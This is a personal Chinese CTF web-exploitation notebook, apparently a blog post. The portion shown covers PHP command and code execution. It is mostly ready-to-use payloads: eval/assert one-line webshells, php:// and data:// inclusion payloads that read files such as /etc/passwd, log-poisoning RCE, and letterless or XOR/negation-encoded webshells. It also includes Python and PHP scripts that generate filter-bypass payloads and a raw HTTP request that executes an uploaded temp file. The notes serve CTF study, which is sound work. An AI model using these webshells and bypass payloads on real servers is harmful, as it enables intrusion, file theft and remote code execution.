编辑
2024-05-28
WEB
0

目录

从0到0.1web 笔记 by Chi11i
1.命令执行
备忘清单
1.include() <font color='red'>php伪协议</font>
2.代码执行
1.array_map()
2.eval()
3.assert()
4.calluserfunc()或calluserfunc_array()
5.preg_replace()
6.create_function()
无子母RCE/WEBSHELL
过滤了下划线_Payload1
过滤了下划线_Payload2
过滤了分号;
过滤了$
PHP5+shell打破禁锢
异或绕过
或运算绕过
URL编码取反绕过
自增绕过
无数字字符命令执行(异或脚本+取反脚本)
7.文件读取
php函数文件读取
8.无参RCE
boring_code
decade
9.linux敏感文件
linux环境变量
10.命令行中的管道和逻辑操作符
11. php命令执行
利用数学函数构造命令执行
getallheaders()函数
限制长度
12.phpinfo()
13.bypass disable_functions
2.php反序列化
参考表格:
3.php特性
1.例题
2.MD5碰撞
MD5碰撞篇
0e绕过
字符和数字比较(只在浏览器端成功,bp可能成功)
科学计数法的妙用
本身经过md5加密后还等于自身
mt_rand伪随机化
强类型比较
两张jpg图片MD5相同
3.php md5相关特性
5.php知识点
6.php ->,=>和::
7.php绕过
system()函数过滤
new ERROR(1); 或者exit();或者die() ; 绕过
9.关于pearcmd.php的巧妙利用
10.php进制和编码
11.session文件包含
web81
web82
web83
web84
web85
web86
web87
web2 session_id的使用
4.文件上传
参考链接
1.木马
webshelll
2..htaccess文件
3.图片二次渲染
4.unzip软链接
CTFshow web56
5.python web
Flask SSTI
SSTI备忘
Flask内存马
Flask请求上下文机制
低版本
高版本
errorhandler
python反序列化
python 沙箱逃逸
python 原型链污染
绕过
例题
JwtBearer认证
pin码
6.常见数据头
ip伪造
7.sql注入
基础
读写文件:
宽字节注入
报错注入
常见注释符绕过
过滤逗号
测试,发现存在 , 过滤,那么利用别名进行绕过,如下:
时间盲注脚本
仅能使用a-zA-Z0-9{_}且不能使用LIKE和注释符的PostgreSQL盲注
union all select的使用
POST基于异或盲注,布尔盲注
POST基于时间盲注
GET基于异或盲注,布尔盲注
GET基于时间盲注
8.XSS
1.FUZZ
2.常用html标签,可用事件
3.单独标签
4.作为属性输入
5.空格绕过
6.XSS绕过
1.引号绕过
2.关键词绕过
3.关键词绕过之编码绕过
1、html编码绕过
2、url编码
3、Unicode编码
4、Base64编码绕过
5、String.fromCharCode
6、unicode+url+html
7、jsfuck
8、aaencode
7.xss发送请求
9.各种绕过bypass
1.sql注入
2.文件上传
3.文件读写
gish
4.特殊字符绕过限制
5.ASCII 表
URL 编码参考手册
6.linux命令绕过
空格绕过
管道符
命令拼接
通配符
新姿势:Linux 环境变量
命令执行相关bash内置变量介绍
$PATH
$PWD
$SHLVL
$USER
$PHP_VERSION
其它系统变量
1.$OLDPWD
2.$HOME
3.$HOSTNAME
4.IFS
5.BASH
6.$BASH_VERSION
绕过 ban 位 (常规操作)
绕过 ban 位之 cat
内敛执行绕过
命令执行函数绕过(以 system 为例)
简单地绕过长度限制
Linux 中的 > 符号和 >> 符号
Linux 中命令换行
利用 ls -t 和 > 以及换行符绕过长度限制执行命令 (文件构造绕过)
无字母数字绕过
符号与命令
管道符
set 命令
切割字符:
10.SSRF
1.利用协议
1.file/local_file
2.dict
3.Gopher
4. @绕过
5. 进制绕过
6. 用句号替换 "."
7. xip.io 和 xip.name 绕过
8. DNS 重绑
9.127.0.0.1绕过
利用302跳转绕过内网IP
wget命令
eaaasyphp
FTP的被动模式打php-fpm
Gopher协议
协议简介
协议格式
构造get请求
构造post请求
Gopher与get shell
11.linux提权
1.SUID提权
12.XXE
1. XML注入XXE注入
13.SSTI
fuzz
ERB(ruby)
Tornado模板
Freemarker文档
Handlebars服务器端模板注入
Django框架
JavaDoc
14.nodejs
1.2 nodejs语言的缺点
1.2.1 大小写特性
1.2.2 弱类型比较
1.2.3 MD5的绕过
1.2.4 编码绕过
1.3 nodejs危险函数的利用
1.3.1 nodejs危险函数-命令执行
1.3.2 nodejs危险函数-文件读写
1.3.3 nodejs危险函数-RCE bypass
1.4 nodejs中的ssrf
1.4.1 通过拆分请求实现的ssrf攻击
2 nodejs原型链污染
2.1 prototype原型
2.2 原型链污染原理
2.3 原型链污染配合RCE
3 vm沙箱逃逸

从0到0.1web 笔记 by Chi11i

以下内容并全非原创,只是为了学习总结而已。基础的内容,会大量引用一些师傅们的博客。

web笔记)(burpsuite)(语雀知识库)(CTFSHOW)

1.命令执行

(参考链接1)(参考链接2)(各种命令执行绕过)(命令执行绕过)(命令执行绕过2)(linux命令大全)(命令绕过

备忘清单

php
${phpinfo()};//${php代码} `echo "十六进制大写或小写"|xxd -r -p>1.php` `echo "363336313734323032663636366336313637"|xxd -r -p|xxd -r -p` ${eval($_POST[0])} ${</flag} echo "$(</flag)" ls / | tee 1 //这样可以把ls /的结果输出写入1文件,然后就可以访问并下载 nl /*>nl //读取根目录下所有文件并导入文件nl中 cat /start.sh cat /run.sh hex2bin('73797374656d')('uniq /f*'); "include()可以执行代码 : ?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log 伪协议 php://filter/read=convert.base64-encode/resource=flag.php" {{request.__init__.__globals__['__builtins__'].open('/flag').read()} show_source(join([chr(102),chr(108),chr(97),chr(103)]));

1.include() php伪协议

  1. include()可以执行代码,例如phpinfo();

    php
    ?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
  2. include可以包含一个php文件或者是data协议的数据,如果过滤了;分号,可以使用?>来绕过

  3. include()可以包含文件并且执行里面的php代码,例如:文件上传时,将a.zip后加入 phpinfo(); 。include(upload/a.zip) 可以执行a.zip里面的phpinfo();

  4. include()接受的内容如果以 <?php 开头, 则会把这段内容解析为 PHP 代码, 否则会将其视为纯⽂本, 啥也不⼲直接 输出, 这也是为什么 base64 编码之后就能读到 flag.php 源码的原因

  5. [PHP]无需可控文件的LFI-RCE学习

  6. php伪协议 参考链接1 参考链接2

    php
    php://filter/read=convert.base64-encode/resource=flag.php php://filter/resource=index.php php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php data:text/plain,<?php phpinfo()?> #GET数据 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= #后面的base64字符是需要传入的字符串的base64编码 php://input [POST DATA:]<?php phpinfo()?> #POST数据 file:///flag 读取根目录文件 ?file=compress.zlib://flag.php 通过data://text/plain协议来进行漏洞利用。 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #<?php phpinfo();?> data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== #<?php @eval($_POST[1]);?> url=data://text/plain,<?php print_r(glob("*")); ?> data://text/plain,<?php system('ls');?> ?c=data://text/plain,<?php phpinfo();?>
    php
    1 file:// — 访问本地文件系统 2 http:// — 访问 HTTP(s) 网址 3 ftp:// — 访问 FTP(s) URLs 4 php:// — 访问各个输入/输出流(I/O streams) 5 zlib:// — 压缩流 6 data:// — 数据(RFC 2397) 7 glob:// — 查找匹配的文件路径模式 8 phar:// — PHP 归档 9 ssh2:// — Secure Shell 2 10 rar:// — RAR 11 ogg:// — 音频流 12 expect:// — 处理交互式的流
  7. php
    php://input post提交代码执行: <?php system("ls");?> php://output php://filter 文件读取: ?url=php://filter/read=convert.base64-encode/resource=inde.php ?url=php://filter/convert.base64-encode/resource=inde.php ?url=file:///etc/passwd data:// data://text/plain,<?php phpinfo();?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //base64加密代码执行 +号URL编码 phar:// #php>5.3 将 info.php 压缩为 info.zip 注意:压缩时选择仅存储,在文件上传处上传 info.zip 文件 将 info.zip 文件后缀改为 info.jpg,上传 jpg 文件 http://127.0.0.1/pikachu/include.php?file=phar://info.jpg/info.php zip:// #php>5.3 http://127.0.0.1/pikachu/include.php?file=zip://info.zip%23info.php 等 包含日志文件getshell 常见web日志文件路径(linux): /etc/httpd/logs/access.log /var/www/nginx/access.log /var/log/httpd/access.log /var/log/apaches/access.log ssh日志文件包含: ssh '<?php system($_GET[w]);?>'@172.16.1.233 目录:/var/log/auth.log

    6.php://filter 参数 resource = 要过滤的数据流 必须项 read = 读链的过滤器 可以设定一个或多个过滤器名称 用管道符分离 write = 写链的过滤器 与前者相同 可用的过滤器 字符串过滤器 string.rot13 等同于 str_rot13(),rot13 变换 string.toupper 等同于 strtoupper(),转大写字母 string.tolower 等同于 strtolower(),转小写字母 string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签 转换过滤器

    php
    convert.base64-encode / convert.base64-decode //等同于 base64 编 码解码 convert.quoted-printable-encode / convert.quoted-printable-decode //quoted-printable 字符串 与 8-bit 字符串编码解码

    PHP伪协议可以将某个文件或文件夹包含在其中

    php
    ?file=php://filter/string.rot13/NewStar/resource=flag.php

    f12看见flag.php的内容,然后rot13解码。

    quoted-printable 就是用一些可打印常用字符 表示一个字节中 所有非打印字符方法 任 何一个八位的字节值 都可编码为三个字符 (一个=后跟随两个 16 进制数字(0-9/A-F) 表示该字节的数值) 压缩过滤器

    php
    zlib.deflate / zlib.inflate //在本地文件系统中创建 gzip 兼容文件 的方法 bzip2.compress / bzip2.decompress //在本地文件系统中创建 bz2 兼容文件的方法加密过滤器

    mcrypt.* 对称加密算法 mdecrypt.* 对称解密算法

2.代码执行

1.array_map()

php
Plain Text array_map(?[callable] $callback, array $array, array ...$arrays): array array_map()

返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会 被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError

url: task=array_map($_POST['c'],$_POST['args'])&flag=Please_give_me_flag&c=system&args[]=cat /flag

2.eval()

1.eval()可将里面内容作为代码执行。

php
<?php @eval($_POST['a']);?> <?=@eval($_REQUEST['cmd']);?>

3.assert()

php
//?a=phpinfo() <?php assert($_POST['a']);?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

php
<?php //?a=phpinfo() $a = 'assert'; $a($_POST['a']); ?> //phpinfo()无法执行成功
php
<?php $a = 'assert'; $a(phpinfo()); ?> //成功执行phpinfo()

4.call_user_func()或call_user_func_array()

php
call_user_func(assert,phpinfo());//第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 call_user_func('call_user_func_array','phpinfo',array());//这个真做了好久,没想到远在天边尽在眼前。题目来源beginctf

5.preg_replace()

php
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

1.preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

php
$a = 'phpinfo()'; $b = preg_replace("/abc/e",$a,'abcd');
please_give_me_flag

6.create_function()

php
<?PHP $func=creat_function('',$_POST['cmd']);$func();?> //经典一句话

本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 强烈建议不要依 赖本函数。 PHP 经典一句话 有这个函数也可以创造闭合注入代码.

php
GET ?show=;};system('cat flag.php');/* POST ctf=%5ccreate_function

无子母RCE/WEBSHELL

php
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?> 甚至可以将上面的代码合并为一行,从而使程序的可读性更差: $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ########################################################################### $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]); <?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST $_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2]) #缩减后即 $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]); 或: $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=瞰;$____.=~($___{$_});$___=和;$____.=~($___{$__});$___=和;$____.=~($___{$__});$___=的;$____.=~($___{$_});$___=半;$____.=~($___{$_});$___=始;$____.=~($___{$__});$_____=_;$___=俯;$_____.=~($___{$__});$___=瞰;$_____.=~($___{$__});$___=次;$_____.=~($___{$_});$___=站;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
php
! $ ' ( ) + , . / ; = [ ] _
$____=((_/_).'')[''=='$']; #N $_____=++$____; #O ++$____; #P $______=$____; #$______=P ++$____; #Q ++$____; #R ++$____; #S $_______=$____; #$_______=S ++$____; #T $________=$____; #$________=T $_________=$______.$_____.$_______.$________; #POST $_________='_'.$_________; #_POST $$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)

所以payload为:

$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);

最后可以直接POST执行命令的payload为:

ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*
php
$ ( ) + , . / 0 1 ; = [ ] _
$_=((_/_)._)[0]; //同上,取NAN的第一个字母N $_++; //O $__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO $_++; // Q $_++; // R $_++; // S $_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST $$_[_]($$_[1]); // $_POST[_]($_POST[1]);

即:

$_=((_/_)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

直接POST拿flag的payload:

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*
php
$ ( ) + , . / 0 ; = [ ] _
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N $_++; //O $__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO $_++; // Q $_++; // R $_++; // S $_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST $$_[_]($$_[0]); // $_POST[_]($_POST[0]);

payload:

php
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*

可用字符:

$ ( ) + , . / ; = [ ] _

比上一个题多过滤了0,而且长度限制在了73以内。看了下其他师傅的wp,发现了些神奇操作,首先对于取第一个字母N其实根本不需要用[0],甚至也不需要[”==’$’],其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符:

img

其次这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串:

$_=_(_/_)[_]; //相当于gettext(0/0)[0],得到N

其次,这里其实可以用不可见字符代替变量名,比如用$%FA,出题人的73位预期解是:

<?php $_=_(_/_)[_];//相当于gettext(0/0)[0],得到N $_=++$_;//O $%FA=_.++$_.$_;//_PO $_++;$_++;//R $%FA.=++$_.++$_;//_POST $$_[_]($$_[%FA]);//$_POST[a]($_POST[_])

72位的解法:

<?php $_=_(_._)[_]; $_++; $%FA=$_.$_++; //这里为PO $_++;$_++; $_=_.$%FA.++$_.++$_; $$_[_]($$_[%FA]);

62位的神仙解法:

<?PHP $_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext $%FA=++$_;//O $$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])

传payload的时候记得用burpsuite别直接用hackbar,因为hackbar会把传上去的东西进行了编码,我们的不可见字符就判定为三个字符了。这个解属于比较通用的,没用gettext,感觉一般服务器上也不会开那玩意儿吧,遇到一般的无字母数字webshell题这个解也够用了,我想用那个62字符的构造通用解发现(/.)[]经常报错,不知道为啥。

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*

如果[]被ban了就换{},php里这俩可以混用,如果这两个都被ban了骚年还是换其他方法做吧

ctf_show=$_=(_/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&_=passthru&%FA=cat /f*

过滤了下划线_Payload1

php
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参**%a0**即可执行命令。

image

过滤了下划线_Payload2

php
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file // ${_GET}{%ff}();&%ff=phpinfo // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file

任何字符与 0xff 异或都会取相反,这样就能减少运算量了。注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是 PHP 的 use of undefined constant 特性。例如GETa这样的语句PHP是不会判为错误的,因为是用来界定变量的,这句话就是会将GET自动看为字符串,也就是_GET['a']。
如果想要执行代函数的函数比如system('whoami'),那我们可以对后面括号里的参数做相同的编码处理

同理,我们也可以直接进行取反:

php
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo ${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system

此外,继承于上述原理,我们还可以直接使用反引号执行命令:

php
?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=dir

分析下这个 Payload:

php
?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=dir 即: ?><?=`$_GET[%ff]`?>&%ff=dir

最开头的?>闭合了 eval() 函数自带的。{}里面包含的 PHP 代码可以被执行,~%A0%B8%BA%AB为_GET,最后将通过参数%ff传入的值使用反引号进行命令执行。

过滤了分号;

分号我们只是用在结束PHP语句上,我们只要把所有的PHP语句改成短标签形式,就可以不使用;了。

php
?><?=`ls` <?= `ls /`?>

过滤了$

PHP 7 前是不允许用($a)();这样的方法来执行动态函数的,但 PHP 7 中增加了对此的支持。所以,我们可以通过('phpinfo')();的形式来执行函数,第一个括号中可以是任意 PHP 7 表达式

php
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f"); ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f"); (~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

PHP5+shell打破禁锢

在 PHP 5 中如果我们还使用('phpinfo')();这样的 PHP 表达式则会得到一个报错,原因就是 PHP 5 并不支持这种表达方式。所以,如果也过滤了$的话,对于 PHP 5 环境的利用方法就很复杂了。 ●此时我想到了两个有趣的 Linux Shell 知识点: Linux Shell 下可以利用.来执行任意脚本 Linux文件名支持用 Glob 通配符进行代替
●在 Linux Shell 中.的作用和source一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则. file的意思就是用当前 Bash 执行 file 文件中的命令。并且用. file执行文件,是不需要 file 文件有x权限的。 ●那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用.来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等) ●第二个难题接踵而至,临时文件. /tmp/phpXXXXXX的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符: :可以匹配 0 个及以上任意字符 ?:可以匹配 1 个任意字符
●那么,/tmp/phpXXXXXX就可以表示为/
/?????????或/???/?????????了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用/???/php??????来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。 ●根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:

php
. /???/????????[@-[]

最后的[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以最后会执行的文件是 /tmp 文件夹下结尾是大写字母的文件。这是因为匹配到的所有的干扰文件的文件名都是小写,唯独 PHP 生成的临时文件最后一位是随机的大小写字母。

构造Poc,执行任意命令 ●当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。 ●最后给出一个 Payload:?>进行URL编码

POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 192.168.43.210:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 109 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" #!/bin/sh ls / ----------123--

异或绕过

下面给出一个异或绕过的脚本:

php
<?php $myfile = fopen("xor_rce.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);

●首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果。 ●接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

python
# -*- coding: utf-8 -*- def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return output while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)

或运算绕过

下面给出一个或运算绕过的脚本:

php
<?php $myfile = fopen("or_rce.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);

●首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。 ●接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

php
# -*- coding: utf-8 -*- def action(arg): s1 = "" s2 = "" for i in arg: f = open("or_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return output while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)

URL编码取反绕过

直接运行以下脚本并输入提示内容即可生成 Payload

php
(~%8F%97%8F%96%91%99%90)(); // phpinfo(); phpinfo()是没有参数的,如果需要执行有参数的函数的话,比如system('whoami');,则应分别对其中的字符进行编码: (~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0); // system('ls /');
php
<?php //在命令行中运行 fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

这里记录一下

scss
首先获取过滤 if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code))

写个脚本看看还有什么没有被过滤

php
<?php for ($ascii=0; $ascii < 256; $ascii++){ if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){ echo chr($ascii); } }

img

过滤的很死 但是放出来了几个字符 我们去

构造取反

第一种取反+无参数rce:

cobol
exp = "" def urlbm(s): ss = "" for char in s: ss += "%" + str(hex(255 - ord(char)))[2:] return f"[~{ss}][!%FF](" while True: user_input = input("Firebasky>: ").strip(")").split("(") exp = '' for part in user_input[:-1]: exp += urlbm(part) print(exp) exp += ")" * (len(user_input) - 1) + ";" print(exp)

直接运行以下脚本并输入提示内容即可生成 Payload:

第二种:

php
<?php //在命令行中运行 fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

第三种取反+无参数rce:

php
def one(s): ss = "" for each in s: ss += "%" + str(hex(255 - ord(each)))[2:].upper() return f"[~{ss}][!%FF](" """ 组成类似于system(pos(next(getallheaders())));即可 a=whoami """ while 1: a = input(":>").strip(")") aa = a.split("(") s = "" for each in aa[:-1]: s += one(each) s += ")" * (len(aa) - 1) + ";" print(s)

介绍一下原理

cobol
这里我们需要通过[] 来执行 [~%8f%97%8f%96%91%99%90] 这里是 [phpinfo] [] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西 [~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo [!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo 然后补上括号即可 [~%8f%97%8f%96%91%99%90][!%FF]();

img

代码执行成功

说明可行 那么我们就继续

这里我们需要思考如何可以

然后这里发现啥都没过滤 那么可以直接来执行咯

这里就按照其他师傅的样子 来请求头执行

lisp
system(current(getallheaders()));

img

执行命令

这里需要注意 这里是无参数命令执行 加入参数就无法实现

lisp
eval(hex2bin(session_id(session_start()))); print_r(current(get_defined_vars()));&b=phpinfo(); eval(next(getallheaders())); var_dump(getenv(phpinfo())); print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件

自增绕过

php
